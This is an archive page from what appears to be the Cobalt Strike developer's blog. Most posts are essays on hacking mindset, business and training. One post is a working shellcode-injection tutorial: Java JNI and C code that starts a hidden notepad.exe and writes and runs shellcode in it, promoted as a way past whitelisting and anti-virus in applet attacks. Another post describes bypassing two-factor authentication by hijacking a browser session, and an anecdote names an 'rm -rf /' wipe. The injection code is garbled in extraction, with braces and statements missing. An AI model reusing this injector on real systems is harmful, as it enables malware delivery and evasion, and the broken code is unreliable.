Uncategorized Archives - Page 2 of 3 - Cobalt Strike Research and Development
fortra logo

The #1 Trait of a Successful Hacker

For some people, programming comes naturally to them. For others, it’s a struggle or something that doesn’t click with the way they think. The same thing with hacking.

Hackers often complain about “script kiddies”, people who use tools without any clue about what they do. What’s the difference between someone who will become a good hacker and someone who will stay a script kiddie, forever?

I know the answer. Here it is.  The number one trait for a successful hacker is the ability to reason about things one can’t directly observe.

Since a hacker is in the business of circumventing controls or discovering the unknown, they’re constantly in the blind. They have to reason about what they’re trying to hack though. If they can’t, they’ll never figure out the system they’re working on.

This innate ability to reason comes from a solid mental model. A mental model is your ability to quickly ask a question and have several guesses at an answer. When someone asks me a question, sometimes I have a few ideas. Other times I’m stuck. I’m stuck when I have no reference for the situation as described to me. Sometimes, I’m stuck because there are too many possibilities and I don’t have enough information to pick one. This is how I feel when with 99% of the Armitage “support requests” I get.

Where does a mental model come from? A mental model comes from knowing how something works. Reading, attending classes, and otherwise consuming information provide some of the pieces of a mental model, but inactive learning, by itself, will not build a mental model for you. To create a mental model, you have to do something active with these pieces. This active piece requires envisioning an outcome or goal, attempting it, failing, figuring out why, and going on to eventually succeed with the task. There’s an emotion that goes with this active learning process. It’s called frustration.

If you’re frustrated at different times while you’re learning or doing, but you still get the job done, then congratulations–you’re building your mental model.

When I was working on the browser pivoting feature for Cobalt Strike, I had the benefit of an unexpected learning experience. My proxy server would process a request, send a response, and close the socket. In local testing, this worked perfectly. When I used a port forward through Meterpreter, it would work most of the time.  When I tried to browser pivot with Meterpreter tunneled through Cobalt Strike’s Beacon connected to Amazon’s EC2–requests failed 90% of the time.

What happened? Why was it failing? I could have thrown up my hands and said “it doesn’t work” or “this lousy performance is acceptable”. I went through each component of my system and tried to understand it. Eventually, I figured out that my call to closesocket would make a best effort to finish sending data in the socket’s outbound queue. Usually, this worked fine. As I introduced latency into my pivoting process, I increased the opportunity for data to get discarded. Before I released this feature, I was able to solve this problem.

This frustrating experience improved my mental model. I couldn’t just look at my code to solve the problem. I had to setup experiments and reason about parts of the system I didn’t write or have full knowledge of.

If you want to succeed as a hacker, learn to troubleshoot. Learn how the things around you work. If you can’t directly observe a detail, learn how to get the answer another way. If you run out of ideas, keep digging. The answer is out there.

Meat and Potatoes

I’m well over 100 posts into this blog now. Wow! I’ve had several blogs in the past, but this is one of the few I’ve had a consistent run with. The other was the After the Deadline blog, which gets fewer updates since I left the project.

After 100 posts, I feel it’s time to capture what this blog is about and what I hope it says to you. It’s probably no surprise, but this is the “official” blog for Strategic Cyber LLC, which is my company and my full-time occupation. I get asked “what else do you do?” a lot. I want to make it crystal clear that this business has and has had my full-time focus for the past two and a half years.

I try to blog once each week; that’s my goal. Sometimes, I feel like writing and I draft several posts at once. It takes awhile to make a post suitable to publish. Right now, I have hundreds of posts in various draft states. Each week, I try to find the one that is close to publishable and I fix it up.


I blog each week because this is my signal to you that I’m alive. When I evaluate a company, I look at two things. I look at the footer of their website to see the copyright date. I then look at their blog. If the copyright date says 2007 or if their blog is dead, I assume that the company is dead. I don’t want to be that company, so I pay attention to these two things. The rest is gravy.

I write a lot of posts about basic penetration testing and Metasploit Framework stuff. Someone on Reddit once commented that some of my posts have a lot of insight, but others are hacking 101. There’s a reason for this…

It’s probably no surprise, but I don’t know everything about hacking or how different hacking techniques work. I’ve met many who claim they do. I’m not as good as these amazing geniuses among us. I’m learning every day. I watch presentations, I read source code, and I conduct experiments. Cobalt Strike is a great driver of this, as most features I implement require me to learn something new. It’s a lot of fun.

Several of my blog posts capture the essence of something I learned. My popular Bypass UAC blog post summarizes what I learned implementing this feature into Cobalt Strike’s Beacon. I didn’t understand this attack and the left and right bounds of it before this work. I reckoned that if the material were new to me, it’s new to someone else. So, I took the time to write about.

My recent post on getsystem falls along the same lines. I knew how to type getsystem. I understand what SYSTEM is. I didn’t understand what happened when I typed the command. I was surprised by what I found out. I wrote a blog post on it.

Other blog posts come from customer questions. Semi-regularly, I would get exasperated support requests from someone who had trouble sending a phish to their Gmail account. I tired of trying to rapid-fire explain email delivery on a case-by-case basis. I wrote a blog post about Email Delivery and spent a lot of time on issues that affect penetration testers. Writing this post wasn’t a simple matter of transferring my knowledge into the written word. I had to verify everything I wrote. During this process, I found that my understanding of some topics was off (e.g., my working knowledge of SPF was way off).

This verification is another reason I write and I teach. Both of these things keep me honest. Publishing code and writing are two ways to feel very naked. I know that if I misstate something or mislead someone, I will get called out. This is pretty intimidating. That said, if I can’t handle that intimidation, I probably have no business developing tools that other experts use to do an important job. So, I take it in stride.

Some blogs posts summarize my experiences. I care a lot about operations. I like to reflect on how people work, how things work, and how tools can work together and complement each other. When it’s appropriate to do so, I use this blog as a place to share my experiences about how I use my tools, how others use them, and different ways to organize a team. I think it’s important for tool developers to ground themselves in the reality of how people use and react to their tools. I spend a lot of time using my tools with other professionals to keep myself grounded.

My regular use of Cobalt Strike is what gives me so much confidence in this toolset. I see it do amazing things all of the time. Some days, I can’t believe I’m the one who works on it.

In terms of audience, I primarily write for the people who already read this blog. I used to have a keen interest in attracting attention for each post. I’d measure a post’s success by how many views it received in its first day. This pressure took some of the fun away from writing and it restricted me from writing what interested me. I won’t say I have more readers since this change—I don’t. But, freeing myself from this metric allows me to write with more candor. That’s how this blog ends up with posts like this one. It satisfies my weekly goal, allows me to say something I wanted to share, and do so in a way that’s free from any expectations.

So, what’s this blog about? It’s a signal that I’m alive and working on your behalf. It’s also an opportunity to share what I’m learning as I go.

Survival Skills for Small Infosec Vendors

Information Security is a strange field. There are probably few professions with such a wide range of social skills and preferences as the information security profession. Personally, I think this is what’s fun. It’s pretty cool that an MC can take a shot of vodka before introducing a speaker at a conference. Unfortunately, the perceived anything goes nature of this field, leads some of us to take it too far.

If you do business in this industry, here are a few principles that you may want to adhere to:

  1. Always project an image of success. No one wants to do business with failure. If folks like you enough, a sob story might get you some overflow work, but ultimately–it’s a losing strategy. Hold on to your self-respect and carry yourself the way you want the world to perceive you.
  2. Treat everyone with respect. There are some extremely intelligent people in this field. Extremely intelligent people reading this, look around! You’re surrounded by other extremely intelligent people. Intelligence is not a right to disrespect others. People have memories. The person you disrespect today, because you’re a hacker rock star, may be the person who chooses not to refer work to your new venture.
  3. Stay open to other ideas. None of us are going to solve security single-handedly. Period. Get used to the idea that others will have ideas and work on them. Sometimes their ideas will overlap with your area. Great! Don’t feel threatened. Continue to innovate, let them innovate, and see which ideas shake out. It’s best for everyone.
  4. If you want something, ask. Unfortunately, business isn’t like a conference call for papers. Opportunities happen not because of a democratic process or merit. They happen because of hustle. If you want to get involved with something, ask. Do so politely and in private. If it’s not appropriate, you’ll receive a respectful and dignified response in return. If it is, you’ll be amazed at the doors that open up to you, all because you asked for an opportunity.
  5. Keep your promises. If you commit to do something for someone, even if it means sending an email. Do it. If you find this is hard, learn to say no. You won’t damage relationships by saying no. You will damage relationships by failing to live up to things you promised.
  6. Deal with rejection, privately. Didn’t get accepted to the conference of a lifetime? Were you slighted on twitter? Did someone blatantly and for no good reason trash your work on Twitter? Oh well. Rejection happens. It happens to everyone. If you take things personally, process it privately, and move on. Turning every perceived slight into an online slug fest will only further damage your self-esteem and cause others to lose respect for you.
  7. Never insult your audience. This is an important public speaking tip. Some folks react to certain questions with disdain. Don’t. If someone asks a question, it means they don’t know the answer and probably others don’t either. Never treat your audience or professional community with disdain. Again, you’re surrounded by extremely intelligent people.
  8. Never insult your peers. If we’re on stage together–don’t tell the audience “I did _______. There’s probably only one or two other people here who could do _________”. Some of us may disagree with your assessment of our skills and capability or the novelty of what you’re touting. These kinds of public statements rarely have positive ramifications.
  9. Set a good example. Decide what your principles are. Decide how it is you want others to treat you. Treat others this way. It’s not always easy and we all falter. But, try to do your best. That’s all anyone can ask of you.

Why I give all of my training material away—for free

I’m the developer of a commercial penetration testing product, Cobalt Strike. People are often amazed that I have a free 9-part Penetration Testing course on my website. This 9-part course is all of the material from my paid two-day class: Advanced Threat Tactics.

The YouTube ID of http://www.youtube.com/playlist?list=PL9HO6M_MU2nesxSmhJjEvwLhUoHPHmXvz is invalid.

Why do I give away my training product, for free?

I know my business model. I sell software licenses. This is how my company brings in revenue and pays for my work. Anything that helps sell software licenses or encourage renewals is a valid business activity.

By making my training available for free and with no registration—I provide a friction free and controlled experience for anyone to learn about my product. Anyone can go through my course and decide if my product is of interest to them or not. This helps sell new licenses to the right customers.

For my existing customers—the online training provides a way to bring their Cobalt Strike users up to speed. This reduces my support burden greatly. In general–my customers know how to use my product. Customers who know how to use a product are customers that are more likely to renew it when the time comes. This is a win too.

Lectures by themselves are fine—but real learning happens by doing. I cater to this too. I put together a mini-penetration testing environment and wrote step-by-step labs that map to this online course. I give away thousands of DVDs with this lab environment at security conferences each year. It’s the easiest sales pitch in the world: “would you like a free penetration testing lab?” “sure” “great, come back if you have any questions”. That’s it.

If you ever wanted to know how I sell my enterprise software—this is it. I share what I want others to know about my product—in a friction free and scalable way. This makes it easy for potential users to understand what I offer and make a good decision based on their needs.

My 2013 Year in Blogging

WordPress.com is kind enough to email statistics on blog readership towards the end of the year. In 2013, I posted 60 posts. I accomplished personal goal to publish an average of one post each week.

Here are this year’s 2013’s top-10 posts according to total views:

  1. Missing in Action: Armitage on Kali Linux
  2. Getting Started with Armitage and the Metasploit Framework (2013)
  3. Why is notepad.exe connecting to the internet?
  4. That’ll never work–we don’t allow port 53 out
  5. Browser Pivoting (Get past two-factor auth)
  6. Tactics to Hack an Enterprise Network
  7. Email Delivery – What Pen Testers Should Know
  8. WRCCDC – A Red Team Member’s Perspective
  9. How to Inject Shellcode from Java


I was most productive–when I was unemployed

I have a friend, who worked as a penetration tester, and recently he quit his job to take some time to himself. For the past few months, he’s learned new technologies and spent time on a few personal projects. My friend [email protected] isn’t the only person like this. I have another friend, 3edc$RFV, who left a management career to do the same thing. He now works as a security researcher.

From both of my friends, their stories have a common thread: they both felt extremely productive when the burdens of the workplace were temporarily taken away from their lives.

I feel productive too. But, I’m productive and I get paid for the privilege of learning while I work. I run a product company. Why do I feel more productive now, than when I worked for someone else?

Could it be working from home (or the freedom to choose where I work)? I don’t think this is the case. I left the US Air Force in 2008, and I’ve either worked from home or was self-employed for all but 11 months since that time. I don’t think working from home by itself makes a big difference.

I think the difference is lack of accountability to anyone, but myself.

Right now, when I design a feature or decide to pursue an idea, I do it without fear of failure. If an idea fails, I chalk it up and go on to the next thing. When I worked at Automattic (WordPress.com), I had a great degree of autonomy. I worked on the After the Deadline software service. I decided how to spend my time. Ultimately though, I knew what folks saw. No one saw my experiments and failed ideas. My coworkers, community, and boss saw the occasional blog post that would announce something new. I felt, that to keep my job, I needed to regularly release something to the world that showed tangible progress.

I do this now too. I try to write a blog post once each week. This blog post is a ping to the world to let you know that I’m alive, I’m focused on my company, and my head is operating in this space. Some of my blog posts get a lot of reads, some only get a few. I write with reader statistics as a secondary goal. The first goal is to hit Publish once each week.

I also feel pressure to regularly push out Cobalt Strike releases. I don’t worry so much about features. New features are a natural side effect of pushing out releases. I focus primarily on making my product better with each release. If all I did was fix bugs and improve user experience, I would consider that a win.

So, working for myself, or working for someone else, I try to demonstrate my productivity by regularly giving the world something tangible to look at. If I have one ability or personal habit that makes entrepreneurship a viable path for me–this is it. This is my secret to forward progress.

Keeping these factors the same, why is an additional layer of accountability a problem? How does it introduce drag on my productivity? The difference comes when I slip. If I slip, I know that I am accountable only to myself. If something goes wrong, I’ll beat myself up sufficiently (if it’s warranted). If something goes wrong that is out of my control, I shrug my shoulders and move on. I don’t worry about how my supervisor or their supervisor will react.

I tend to put off paperwork. Will my tendency to dismiss paperwork or other manufactured requirements make me look like a flake, despite real accomplishments? Right now, this isn’t a remote a concern–well, not until the city dissolves my corporation for missing a filing deadline. But hey! At least I can peg real consequences to most of the paperwork I do.

Long story short, working for myself I feel the freedom to use my best judgement and execute at maximum speed. I can see something through to completion. I can kill a bad idea when I smell it–even if I thought it was great for awhile. I can evaluate potential customers or work and say no to undesirable situations. Working for others, even in an environment with a great deal of trust an autonomy, I never felt this. Now, I don’t second guess myself.

This ability to execute, with no drag, is probably why my friends were able to become so productive while unemployed. Me? I’m thankful I get to do this for a living.

The ACE Problem Solving Method (I use this)

The reason I’m in security today is because of the US Air Force’s Advanced Course in Engineering Cyber Security internship program. I turned down an internship at NASA (after I accepted it!) to attend this “information warfare bootcamp” in 2003.

The Air Force Research Lab modeled the ACE program after General Electric’s Advanced Course in Engineering. Each week, the program schedule looked like this:

  • Monday we received a lecture on a focus topic. These lectures were taught by an expert from industry, academia, or the military.
  • Tuesday through Thursday we participated in a research internship. Each student was assigned to a different work center for this.
  • An 8 mile run each Friday.

The literature made the ACE program sound like a leadership development course for aspiring cyber security engineers. While this is true. The literature omitted how this leadership development happened.

The program format included one other key element:

Weekly–we were assigned a ‘real world’ problem by the person who provided the lecture. We were expected to solve this problem, deliver a solution, and provide a complete engineering report. These reports were 15-60 pages of writing… each week!

The ACE was a 10-week long course on technical writing. On top of delivering complete reports–we were also expected to follow a strict style guide. The guide took away passive voice, hidden verbs, complex phrases, gerunds, and other beautiful parts of the English language.

During the ACE program–we were taught a problem solving method. I use this method in my work today. If you think I’m productive–then consider this method my secret.

Here’s the method:

  1. State the problem
  2. Define assumptions
  3. Pick out Tools and Techniques
  4. Solve the problem
  5. Revisit the assumptions

Problem Statement

Let’s walk through this. My most recent output is Cobalt Strike’s browser pivoting capability. I started with a problem statement: how do I defeat two-factor authentication?

This problem statement is broad and that’s OK. When starting an effort it’s important to know the big picture idea behind it. Why am I doing this research? Why am I solving this problem?

The problem with broad problem statements is one could spend a lifetime trying to solve it for all possible cases. A key tenet of the ACE program is that a good enough solution on time is better than the perfect solution a week late. No one turned in a late paper during my class, but the understanding was, two late papers and you’re out of the program.

Background and Assumptions

The next step is to define assumptions. This step allows us to turn the broad problem into something tractable. When I set out to work on Browser Pivoting, I defined the following assumptions:

  • The target uses Internet Explorer
  • The attacker has control of the target’s system
  • I want to defeat two-factor authentication for web applications only
  • The attacker can wait for the target to interact with the web application of interest.

When I set out to work on the two-factor authentication problem–I had an idea for a solution. I wrote these assumptions to match this idea. That’s OK. A solution to the problem–even with constraints, represents progress.

Tools and Techniques

Step 3 is to explore tools and techniques. To work on browser pivoting–I took advantage of several technologies:


WinINet is the Windows Internet API. It allows a program to interact with a URL with a few lines of code. It is also the communication layer for Internet Explorer. WinINet manages cookies, history, cache, authentication, and SSL sessions for applications that use it. Internet Explorer uses WinINet.

Reflective DLL Injection

Reflective DLL Injection is a technique to load a DLL into another process without touching disk. A Reflective DLL is a Windows DLL compiled with Stephen Fewer’s Reflective DLL Injection library.

The Metasploit Framework

The Metasploit Framework is a potential delivery platform for a two-factor authentication bypass capability. The Metasploit Framework has the ability to inject a Reflective DLL into an arbitrary process.


With these tools and techniques down–the next step is the solution. During this step, I’m expected to tie all elements together. In the case of Browser Pivoting I wrote an HTTP proxy server that fulfills requests with WinINet.

I compiled this HTTP proxy server as a reflective DLL and I use the Metasploit Framework to inject this DLL into memory.

WinINet manages session state on a per-process basis. When I inject my HTTP proxy server into an Internet Explorer process–I inherit the user’s cookies, session cookies, HTTP authenticated sessions, and client SSL certificates.

I am able to get past two-factor authentication because this solution inherits a user’s session tokens and credential material–after they’re authorized to access a web application.

At this point, I’ve solved the problem within the bounds of my assumptions.

Risk Analysis (Revisiting Assumptions)

The last step in the ACE method is the risk analysis. At this time, I revisit each assumption and I state how my solution falls apart when the assumption fails to hold. Thinking about these shortcomings is an opportunity to think about future work on the same problem.

In the case of Browser Pivoting:

  1. The target uses Internet Explorer. This solution will not work if the target uses another browser. Each browser has its own way to manage state and communicate.
  2. The attacker has control of the target’s system. This solution is suitable for the post-exploitation phase of an engagement. If an attacker can not gain access to a user’s system–another way to get around two-factor authentication is needed.
  3. I want to defeat two-factor authentication for web applications only. This concept may port to other applications–but it will require a thorough understanding of that application to do so.
  4. The attacker can wait for the target to interact with the web application of interest. This solution defeats two-factor authentication by riding on top of an authenticated session. Other ways to defeat two-factor authentication:
    • attack the web application of interest directly. Why use the user to get to it?
    • attack the two-factor authentication mechanism directly and see if there is a way to fool it.
    • create a social engineering website and try to fool the user into providing all information needed to authenticate as them.

That’s a run through the ACE problem solving method taught to Air Force cadets who went through the program. Sadly, the US Air Force decided to cancel the ACE program this year. This past summer would have made 11 years.

Clarification (21 Oct 13): In 2011, the US Air Force Institute of Technology (AFIT) took over the ACE program from the Air Force Research Lab. The AFIT ACE was cancelled in 2013. The Air Force Research Lab started an IA Internship Program that carries much of the ACE format in 2011. The IA Internship Program continues on as the spiritual successor of the ACE program.

How to Inject Shellcode from Java

Cobalt Strike’s Java Applet attacks inject shellcode into memory. Injecting into memory is valuable as it helps get past application whitelisting and can help evade anti-virus as well.

There are several approaches to inject shellcode into memory from Java. One approach is to drop syringe and call it with your shellcode. If syringe or your variant isn’t white listed though, you’re out of the game. Another approach is to use PowerShell, but this won’t do much good against Windows XP.

Another option is to extend Java through JNI to add an API to inject shellcode. This is the approach I take.

JNI is the Java Native Interface. It’s an opportunity for developers to load a specially crafted native library into the Java Virtual Machine and interface with it through Java itself. Java applets may take advantage of JNI as well.

First, let’s create a Java program that interfaces with a function to inject shellcode:

public class Demo {
public native void inject(byte[] me);

The native keyword attached to inject states that inject is defined in a native JNI library.

To create a library for our Java shellcode injector, we must first compile our Java program.

javac -d bin -cp bin src-java/Demo.java

Now that we have a .class file, we can ask Java to generate the necessary headers for our JNI library.  To do this, we use the javah program.

javah -classpath bin -jni -o src/injector.h Demo

This program will output an injector.h file in a folder called src. The injector.h header will define a prototype for our inject function:

JNIEXPORT void JNICALL Java_Demo_inject(JNIEnv *, jobject, jbyteArray);

Next, we need to implement this function. Here’s a quick run of it:

JNIEXPORT void JNICALL Java_Demo_inject(JNIEnv * env, jobject object, jbyteArray jdata) {
jbyte * data = (*env)->GetByteArrayElements(env, jdata, 0);
jsize length = (*env)->GetArrayLength(env, jdata);
inject((LPCVOID)data, (SIZE_T)length);
(*env)->ReleaseByteArrayElements(env, jdata, data, 0);

JNI provides us with some help when it comes to marshaling data between C and Java. Many Java types map 1:1 to C types (e.g., jchar is just a char). To learn more about how JNI maps its types to C, look at Chapter 3 of the JNI documentation. To learn about functions that help interface with Java arrays passed to JNI, read chapter 4 of the JNI documentation.

When I work with JNI, I like to handle all of my Java -> C type conversions in the JNI function. Once these conversions are handled, I call another C function to carry out the task.

Now, let’s write our inject function to spawn our shellcode:

/* inject some shellcode... enclosed stuff is the shellcode y0 */
void inject(LPCVOID buffer, int length) {
HANDLE hProcess   = NULL;
SIZE_T wrote;
char lbuffer[1024];
char cmdbuff[1024];

/* reset some stuff */
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );

/* start a process */
si.wShowWindow = SW_HIDE;
si.hStdOutput = NULL;
si.hStdError = NULL;
si.hStdInput = NULL;

/* resolve windir? */
GetEnvironmentVariableA("windir", lbuffer, 1024);

/* setup our path... choose wisely for 32bit and 64bit platforms */
#ifdef _IS64_
_snprintf(cmdbuff, 1024, "%s\\SysWOW64\\notepad.exe", lbuffer);
_snprintf(cmdbuff, 1024, "%s\\System32\\notepad.exe", lbuffer);

/* spawn the process, baby! */
if (!CreateProcessA(NULL, cmdbuff, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))

hProcess = pi.hProcess;
if( !hProcess )

/* allocate memory in our process */
ptr = (LPVOID)VirtualAllocEx(hProcess, 0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

/* write our shellcode to the process */
WriteProcessMemory(hProcess, ptr, buffer, (SIZE_T)length, (SIZE_T *)&wrote);
if (wrote != length)

/* create a thread in the process */
CreateRemoteThread(hProcess, NULL, 0, ptr, NULL, 0, NULL);

This function is written to work with an x86 and x64 Java Virtual Machine on Windows. First, it checks if _IS64_ is defined. This macro (supplied at compile time) is what I use to find out if I’m in a 64-bit Java Virtual Machine or not. Either way, the outcome is the same, I spawn a 32-bit notepad.exe process.

Once my 32-bit process is spawned, I follow through with the normal shellcode injection pattern: allocate memory in my spawned process, copy my shellcode to it, and create a new thread in my spawned process that executes my shellcode. That’s it.

I prefer to spawn into another process, because if a problem occurs in the shellcode, it will not crash the process I spawned the shellcode from. Spawning into a 32-bit process (regardless of our Windows version) has another benefit: it allows us to use 32-bit shellcode, even if we’re running in a 64-bit Java Virtual Machine.

Now, we need to compile our JNI library. For this blog post, I’m using Kali Linux as my development environment. Kali Linux comes with MinGW-w64 installed. MinGW-w64 is a cross-compiler capable of building binaries for x86 and x64 Windows.

To compile our JNI library, we will need some files from the Java Developer’s Kit on Windows. To get these files, install a JDK on Windows, and grab C:\Program Files\Java\jdkXXXXXXXX\include and copy it to your build environment.

$ find include/

Before you compile your DLL, create an injector.def file in the src/ folder. Here’s the contents of the file:


To compile your JNI DLL, use:

i686-w64-mingw32-gcc -c src/*.c -l jni -I include -I include/win32 -Wall -D_JNI_IMPLEMENTATION_ -Wl,--kill-at -shared
i686-w64-mingw32-dllwrap --def src/injector.def injector.o -o temp.dll
strip temp.dll -o bin/injector.dll

This will give you an injector.dll file. Sadly, we run into a problem here. A 32-bit Java Virtual Machine will welcome our DLL file with open arms. A 64-bit Java Virtual Machine will not. We must compile a 64-bit variant of the DLL to use it in a 64-bit Java Virtual Machine. To do so:

x86_64-w64-mingw32-gcc -m64 -c src/*.c -l jni -I include -I include/win32 -Wall -D_JNI_IMPLEMENTATION_ -D_IS64_ -Wl,--kill-at -shared
x86_64-w64-mingw32-dllwrap -m64 --def src/injector.def injector.o -o temp.dll
strip temp.dll -o bin/injector64.dll

Notice that the 64-bit build process defines _IS64_. In the source code for inject, I use this identifier to determine whether I’m a 64-bit DLL or a 32-bit DLL and act appropriately.

Now we have our DLLs, let’s fill in our Demo class and make it into something that can inject shellcode for us:

import java.io.*;

public class Demo {
/* our shellcode... populate this from Metasploit */
byte shell[] = new byte[0];

public native void inject(byte[] me);

public void loadLibrary() {
try {
/* our file */
String file = "injector.dll";

/* determine the proper shellcode injection DLL to use */
if ((System.getProperty("os.arch") + "").contains("64"))
file = "injector64.dll";

/* grab our DLL file from this JAR file */
InputStream i = this.getClass().getClassLoader().getResourceAsStream(file);
byte[] data = new byte[1024 * 512];
int length = i.read(data);

/* write our DLL file to disk, in a temp folder */
File library = File.createTempFile("injector", ".dll");

FileOutputStream output = new FileOutputStream(library, false);
output.write(data, 0, length);

/* load our DLL into this Java */
catch (Throwable ex) {

public Demo() {

public static void main(String args[]) {
new Demo();

The loadLibrary function reaches into our JAR file (or current classpath) and grabs the proper injector.dll file (64-bit or 32-bit). Once the injector file is on disk, I call System.load to load the DLL into the Java Virtual Machine. Once this step completes, we’re able to inject our shellcode with the inject function. That’s it!

A Few Tips:

1) To try this example out, you will need to generate shellcode from the Metasploit Framework and assign it to the shell variable. Do that in whatever way is convenient for you. Make sure you set the Encoder option to generic/none.

2) If you use this technique with an applet, beware that some browsers keep the Java Virtual Machine around after your applet runs. If you use this technique in an applet, use a static variable to check whether you’ve loaded your JNI library already or not. If you try to load a library a second time in the same JVM, the process will fail.

Armitage and Cobalt Strike Workshop at HackMiami – Student README

Are you attending the Armitage and Cobalt Strike Penetration Testing Lab at HackMiami Conference this weekend? Make sure you read this post:

This coming weekend, I am teaching a free 4 hour workshop at the HackMiami Conference in beautiful Miami, FL. I’m told the venue can hold quite a large number of folks and I’m planning to bring enough materials for 100 attendees. Unlike other runs of this workshop, there is no pre-registration and no attendee list I can blast this message too. No problem with me, but there is some information you should know about before you show up.

This workshop has a significant lab component. To participate in the labs, you must bring a computer that meets the following requirements:

  1. 2GB of RAM or greater
  2. 12GB of free disk space
  3. The ability to run VMWare Virtual Machines (one of VMWare Player, VMWare Workstation, or VMWare Fusion should be installed)

If you bring a system that meets those requirements, I will bring everything else. I will provide you with a DVD containing three virtual machines and a lab sheet. If your modern computer doesn’t have a DVD player, don’t sweat it. I will bring a USB DVD drive with me. You’ll have a chance to copy the needed files to your disk during the setup phase of the workshop. I left my USB DVD drive at another conference, but I promise to buy another one before Friday. 🙂

During the workshop, I expect that you will use the environment I provide. This means you do not need to worry about setting up Kali Linux or finding that old copy of Windows XP underneath the couch. I have you covered. If you want a preview of the workshop, here’s a video walk-through of the environment I will provide:

During the workshop, we will work through a slightly abridged version of the above labs (but you’ll have all of them, in case you want to play around later).

If you’d like to come to the workshop, it’s at this weekend’s HackMiami Conference. Attendance to the conference is $125. There is no other fee to attend this workshop. Also, since this is open to all attendees of HackMiami, my workshop is available on a first-come, first-serve basis.

The workshop starts at 5pm on Saturday in Track 1.

PSA: A Safety Lesson about Team Servers

Here’s a fun anecdote for you. I usually run a Cobalt Strike team server the CCDC events and other exercises I go to. No problem. I have a virtual machine I use as the team server. There are no sensitive files on it and fortunately, it’s a virtual machine.  I don’t care what happens to it.

At the end of the National CCDC event, our team captain announced that if we have access, we’re wrong… burn it! So, in a maniacal way, all of us jumped on sessions and destroyed system after system. All well and good, this is standard operating procedure for most exercise red teams… at the very end of an event.

In our maniacal zeal to take these actions, we sometimes make mistakes, it happens.

Anyways, let me relay a little factoid.

The Metasploit Framework has a console. Any input the console does not understand is immediately passed to the operating system, for your convenience. This input is run and its output is presented to you, the user. In classes, I’ve seen many people think they have shell when they type whoami in a Metasploit Console and learn that they’re root. They’re root, but it’s on their own system.

So, in the zeal at the end of the National CCDC event, someone issued an rm -rf / command to my team server. I lost data that would later become a large generated report I could provide to the teams (next year!). I’m not too worried about that. I wanted to speak to the safety lesson, one I discovered later.

I told VMWare to share folders with my host operating system. Fortunately, I was sharing just a dropbox folder with several tools that I keep around. I have  a backup of all this stuff, no big deal.

These folders were gone!


If I had shared my home folder… oh boy!  That was a close call, pretty funny since no harm came of it. Pretty scary otherwise.

If you’re going to host infrastructure for an event, do it on a separate server. If you’re crazy enough to use your laptop, like I am, make sure there’s isolation between your virtual machine and your operating system.